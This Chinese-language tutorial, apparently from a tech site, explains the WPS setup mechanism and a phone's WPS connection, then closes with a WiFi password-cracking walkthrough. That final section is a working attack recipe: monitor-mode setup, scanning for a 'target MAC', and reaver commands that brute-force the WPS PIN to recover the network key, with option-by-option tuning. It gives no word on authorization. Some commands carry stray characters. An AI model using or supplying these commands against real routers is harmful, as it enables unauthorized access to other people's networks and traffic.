1. WPS認證機制

WPS(Wi-Fi Protected Setup，Wi-Fi保護設置)(有的叫做AOSS、有的叫做QSS，不過功能都一致。)是由Wi-Fi聯(lián)盟組織實施的認證項目，主要致力于簡化無線局域網(wǎng)的安裝及安全性能配置工作。在傳統(tǒng)方式下，用戶新建一個無線網(wǎng)絡時，必須在接入點手動設置網(wǎng)絡名(SSID)和安全密鑰，然后在客戶端驗證密鑰以阻止“不速之客”的闖入。這整個過程需要用戶具備Wi-Fi設備的背景知識和修改必要配置的能力。Wi- Fi Protected Setup能幫助用戶自動設置網(wǎng)絡名(SSID)、配置強大的WPA數(shù)據(jù)編碼及認證功能，用戶只需輸入個人信息碼(PIN方法)或按下按鈕(按鈕設置，或稱PBC)，即能安全地連入WLAN。這大大簡化了無線安全設置的操作。Wi-Fi Protected Setup支持多種通過Wi-Fi認證的802.11產(chǎn)品，包括接入點、無線適配器、Wi-Fi電話以及其他消費性電子設備。

WPS可以幫助客戶端用戶自動配置網(wǎng)絡名(SSID)及無線加密密鑰。對于普通用戶來說，無需了解SSID和安全密鑰的概念就能實現(xiàn)安全連接;而且用戶的安全密鑰不可能被外人破解，因為它是隨機產(chǎn)生的;最重要的是用戶無需記憶冗長的無線加密密碼，避免了忘記密碼的麻煩。

wps認證AP操作說明

1、在支持WPS的AP設備上一般會有一個按鈕，按下這個按鈕，在一定的時間內(nèi)(通常為120s)它會等待客戶設備連接。在網(wǎng)頁的管理界面也有對應的操作，二者選其一即可。

2、按下網(wǎng)卡設備的WPS連接按鈕(有些是QSS、AOSS等)去連接AP。(也可輸入PIN碼連接，需要AP做對應的設置)。

3、無線網(wǎng)卡和WPS認證的AP建立起連接。

WPS連接操作如diagram-WPS圖示意

[[131446]] 

 #p#

2. 連接WPS機制的WIFI 認證過程

并非所有的手機型號和ROM支持WPS認證的網(wǎng)絡連接，有些是支持的，以天語的K-touch w806(大黃蜂)為例，說一下手機連接WPS的相關(guān)操作。

在“設置”——“無線和網(wǎng)絡”——“wlan設置”下，有個添加WPS網(wǎng)絡的選項，點擊會有兩個選項可選，分別為兩種接入方式，一種是輸入PIN碼，另一種是按鍵。

連接成功后，路由器(AP)管理頁面顯示如下：

用wireshark進行分析。通過設置過濾，可以大致看到WPS認證連接大體過程。

繪制成流程圖，大致過程如下：

 #p#

3. WIFI密碼破解過程

打開終端 輸入 ifconfig wlan0 up” 加載usb網(wǎng)卡。

ifconfig wlan0 up

接下來“airmon-ng start wlan0” 監(jiān)聽模式已激活到了mon0。

airmon-ng start wlan0

注：wlan0并不一定是固定的，插入其他的usb網(wǎng)卡系統(tǒng)會自動的以wlan1，wlan2等命名。usb網(wǎng)卡需要系統(tǒng)支持。推薦RTF8187系列，本人親測穩(wěn)定可用。

查看周邊路由AP的信息。記錄下你要學習的路由MAC地址。

airodump-ng mon0”1

特別提示：只有AP開啟了WPS、QSS功能，才可以用PIN法學習PSK密碼!

使用wash命令查看周圍無線wifi的屬性,C是大寫在wps locked一項中有顯示的

wash -i mon0 -C1

抓PIN包，枚舉PIN碼

reaver -i mon0 -b 目標mac地址 -a -S -vv1

注意:

MAC地址中冒號不可省略，MAC地址的字母大小寫均可，-S是大寫字母， -vv

是兩個V不是W!

-i 監(jiān)聽后接口名稱

-b 目標mac地址

-a 自動檢測目標AP***配置

-S 使用最小的DH key(可以提高PJ速度)

-vv 顯示更多的非嚴重警告

-d 即delay每窮舉一次的閑置時間 預設為1秒

-t 即timeout每次窮舉等待反饋的最長時間

-c指定頻道可以方便找到信號，如-c1 指定1頻道，大家查看自己的目標頻道做相應修改 (非TP-LINK路由推薦–d9 –t9參數(shù)防止路由僵死

reaver -i mon0 -b MAC -a -S –d9 –t9 -vv)。

剩下的就是漫長的等待，要有耐心!!!

祝好!